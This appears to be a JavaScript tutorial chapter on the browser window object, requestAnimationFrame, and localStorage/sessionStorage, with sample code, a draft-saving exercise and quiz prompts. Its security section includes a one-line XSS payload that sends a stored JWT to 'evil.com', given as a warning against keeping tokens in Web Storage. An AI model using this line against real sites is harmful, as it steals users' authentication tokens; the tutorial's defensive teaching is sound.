JS Web APIs — Window & Web Storage
Harness the Browser Object Model (BOM): master window, location, history, smooth animation frames, and the client storage ecosystem (localStorage vs sessionStorage vs Cookies).
Client-Side Storage Architecture Matrix
Choosing the appropriate browser storage technology is essential for performance, user experience, security, and avoiding server transmission overhead.
1. The Window Object: Location, History & Screen
In the browser, window is the supreme global object. Every global variable declared with var and every function declaration automatically attaches as a property of window. It also exposes standard hardware and navigation sub-APIs:
Controls browser navigation and URL parsing:
location.href: Full URL stringlocation.search: Query string (?q=js)location.assign(url): Navigates with historylocation.replace(url): Replaces without history
Powers Single-Page Application (SPA) routing:
history.pushState(state, '', url)history.replaceState(state, '', url)history.back() / history.forward()- Listens to
window.onpopstate
Inspects display geometries and scrolling:
window.innerWidth / innerHeightwindow.scrollX / scrollYwindow.scrollTo({ top: 0, behavior: 'smooth' })screen.availWidth / availHeight
60fps Visual Smoothness: requestAnimationFrame
Never animate layout changes with setInterval()! requestAnimationFrame syncs callbacks to the monitor's physical refresh rate (60Hz/120Hz/144Hz) and automatically pauses when the user switches tabs:
let pos = 0;
function animate() {
pos += 2;
box.style.transform = `translateX(${pos}px)`;
if (pos < 400) {
requestAnimationFrame(animate); // Synchronized to monitor VSync!
}
}
requestAnimationFrame(animate);
Test in Playground
2. Modern Web Storage API: CRUD & JSON Serialization
Both localStorage and sessionStorage implement the identical Storage interface. Web Storage can only store strings, meaning objects and arrays must be serialized via JSON.stringify and parsed via JSON.parse.
Production Storage Pattern with Error Guarding
const StorageManager = {
set(key, value) {
try {
localStorage.setItem(key, JSON.stringify(value));
} catch (err) {
// Handles QuotaExceededError or Private Browsing restrictions
console.error('Storage Quota Exceeded or Access Denied', err);
}
},
get(key, defaultValue = null) {
try {
const item = localStorage.getItem(key);
return item ? JSON.parse(item) : defaultValue;
} catch {
return defaultValue;
}
},
remove(key) {
localStorage.removeItem(key);
}
};
// Usage:
StorageManager.set('user_preferences', { theme: 'dark', fontSize: 16 });
const prefs = StorageManager.get('user_preferences', {});
Try in Playground
When one browser tab modifies localStorage, every other open tab on the same origin automatically fires a window.addEventListener('storage', (e) => { ... }). This enables synchronized cart updates and global cross-tab user logout!
Interactive Lab: Web Storage Manager
Live Inspector
Perform real CRUD operations against your browser's localStorage or sessionStorage. Keys and values update live in the table below.
| Key | Value | Action |
|---|
3. Critical Web Security: The XSS Storage Trap
Because localStorage and sessionStorage are fully readable by any JavaScript running on the page, NEVER store JWT access tokens, session IDs, or private user passwords in Web Storage.
If an attacker exploits a Cross-Site Scripting (XSS) vulnerability anywhere on your site (e.g. in a comment section), a single line of script can steal all tokens:
fetch(`https://evil.com/?steal=${localStorage.getItem('jwt')}`);
Authentication tokens should always be stored in HttpOnly, Secure, SameSite=Strict Cookies. JavaScript cannot read HttpOnly cookies, completely eliminating client-side token exfiltration via XSS.
Build an Auto-Saving Form with Draft Restoration
Build a draft auto-saver: as the user types in the textarea, debounced changes automatically serialize to sessionStorage. If the page is reloaded, the draft automatically restores. Add a "Discard Draft" button that purges storage.
const DRAFT_KEY = 'article_draft_v1';
const input = document.getElementById('challenge-draft-input');
const badge = document.getElementById('draft-status-badge');
// 1. Restore saved draft on page load
const savedDraft = sessionStorage.getItem(DRAFT_KEY);
if (savedDraft) {
input.value = savedDraft;
}
// 2. Auto-save on input
input.addEventListener('input', () => {
sessionStorage.setItem(DRAFT_KEY, input.value);
badge.className = 'badge bg-success';
badge.innerText = 'Draft Saved';
});
// 3. Clear draft
function clearDraft() {
sessionStorage.removeItem(DRAFT_KEY);
input.value = '';
badge.className = 'badge bg-secondary';
badge.innerText = 'Discarded';
}
Chapter 30 Knowledge Check
Validate your understanding of the window BOM, storage quotas, lifetimes, and browser security.
localStorage and sessionStorage?localStorage.setItem('user', { id: 1 }) without JSON serialization?localStorage?requestAnimationFrame superior to setInterval for creating visual browser animations?localStorage is modified?